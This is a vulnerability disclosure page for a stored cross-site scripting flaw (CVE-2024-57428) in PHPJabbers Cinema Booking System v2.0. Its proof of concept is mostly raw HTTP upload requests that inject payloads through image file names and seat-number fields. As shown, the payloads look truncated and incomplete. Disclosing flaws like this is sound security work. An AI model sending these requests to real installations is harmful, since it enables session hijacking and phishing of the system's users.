## https://sploitus.com/exploit?id=3C8D5E5C-F795-532D-8A2A-429C2B48BA0C
# CVE-2024-57428
A stored cross-site scripting (XSS) vulnerability in PHPJabbers Cinema Booking System v2.0 exists due to unsanitized input in file upload fields (event_img, seat_maps) and seat number configurations (number[new_X] in pjActionCreate). Attackers can inject persistent JavaScript, leading to phishing, malware injection, and session hijacking.
Vulnerable Parameter: ```event_img``` and ```seat_maps's file name```
## Impact:
Stored XSS is more severe than reflective XSS, as it affects all users who access the injected content. It could be leveraged for persistent phishing attacks, session theft, or injecting malware onto a large user base.
## Exploit - Proof of Concept (POC)
### Stored Cross-Site Scripting (XSS)
### File Upload Stored XSS
Payload: ```\">```
```
POST /CinemaBookingDev/index.php?controller=pjAdminEvents&action=pjActionCreate HTTP/1.1
Host: 127.0.0.1
Content-Length: 38611
[SNIP]
------WebKitFormBoundaryKOsvqJhAGpZAt33t
Content-Disposition: form-data; name="event_img"; filename="luffy.jpg\">"
Content-Type: image/jpeg
```
### CINEMA HALL SEAT NUMBER
Payload: ```">alert(x)```
```
POST /CinemaBookingDev/index.php?controller=pjAdminVenues&action=pjActionCreate HTTP/1.1
Host: 127.0.0.1
Content-Length: 1812
[SNIP]
------WebKitFormBoundaryip9Mc6LkKna3bpSD
Content-Disposition: form-data; name="seats_count"
11
------WebKitFormBoundaryip9Mc6LkKna3bpSD
Content-Disposition: form-data; name="number[new_1]"
1">alert(1)1
------WebKitFormBoundaryip9Mc6LkKna3bpSD
Content-Disposition: form-data; name="number[new_2]"
2">alert(2)2
```